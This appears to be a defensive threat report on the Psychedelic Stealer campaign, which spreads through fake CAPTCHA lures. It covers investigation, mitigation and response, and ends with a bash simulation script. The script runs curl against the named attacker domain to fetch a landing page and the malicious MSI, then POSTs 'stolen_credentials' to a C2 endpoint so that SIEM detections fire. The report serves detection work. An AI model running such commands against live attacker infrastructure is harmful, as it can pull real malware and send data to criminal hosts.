The Psychedelic Stealer: When a CAPTCHA Becomes an Installer

Summary

Arctic Wolf Labs is tracking a campaign that uses fake Cloudflare CAPTCHA lures injected into compromised Ukrainian business websites. The ClickFix-style attack convinces users to execute an MSI package that installs Psychedelic Stealer, an infostealer designed to collect browser credentials, account tokens, and cryptocurrency wallet data. The malware also supports persistent remote tasking through dedicated C2 infrastructure.

Investigation

The investigation uncovered injected iframes on legitimate Ukrainian websites that redirect visitors into a fake verification flow. Analysts also identified a lure-management panel branded Rublevka TDS, which controls command configurations and records visitor telemetry. Technical analysis of the MSI payload revealed an encrypted next-stage URL along with the malware’s core routines for credential and data theft.

Mitigation

Organizations should monitor for suspicious execution of Windows Installer (msiexec.exe) launched by web browsers or command-line interfaces. Web filtering should block known malicious domains, while defenders should also monitor legitimate web assets for unauthorized iframe injections. Strengthening endpoint controls around scheduled task creation can further reduce the risk of persistence.

Response

When Psychedelic Stealer activity is detected, isolate affected endpoints to stop further data exfiltration or lateral movement. Audit browser profiles and local storage for compromised credentials, authentication tokens, and wallet data. Review network telemetry for communication with known C2 infrastructure and inspect systems for unauthorized scheduled tasks or suspicious native messaging hosts.

Simulation Execution

• Attack Narrative & Commands: The adversary aims to infect a target via a fake CAPTCHA mechanism. The simulation will mimic the victim’s browser behavior: first, navigating to the attacker’s landing page to bypass initial scrutiny, then requesting the malicious MSI payload, and finally, initiating a C2 connection via an HTTP POST to the attacker’s control script. This sequence is designed to mimic the exact URI patterns identified in the Psychedelic Stealer infrastructure.

• Regression Test Script: The following script uses curl to simulate the three distinct stages of the detection logic.

  #!/bin/bash
  # Simulation script for Psychedelic Stealer Infrastructure Access
  
  TARGET_DOMAIN="uasputnik.com"
  
  echo "[+] Starting Psychedelic Stealer Infrastructure Simulation..."
  
  # Stage 1: Simulate visiting the landing page (Selection 1)
  echo "[*] Simulating GET request to landing page..."
  curl -s -X GET "http://$TARGET_DOMAIN/sputnik.html" -o /dev/null
  
  # Stage 2: Simulate downloading the malicious MSI (Selection 2)
  echo "[*] Simulating GET request for payload..."
  curl -s -X GET "http://$TARGET_DOMAIN/elita.msi" -o /dev/null
  
  # Stage 3: Simulate C2 Communication via POST (Selection 3)
  echo "[*] Simulating POST request to C2 endpoint..."
  curl -s -X POST "http://$TARGET_DOMAIN/admin777111777.php" -d "data=stolen_credentials" -o /dev/null
  
  echo "[+] Simulation complete. Check SIEM for alerts."

• Cleanup Commands:

  # Since this is network-based simulation, no files are created on the local system 
  # unless specifically requested. No cleanup required for local filesystem.
  echo "[+] Cleanup complete."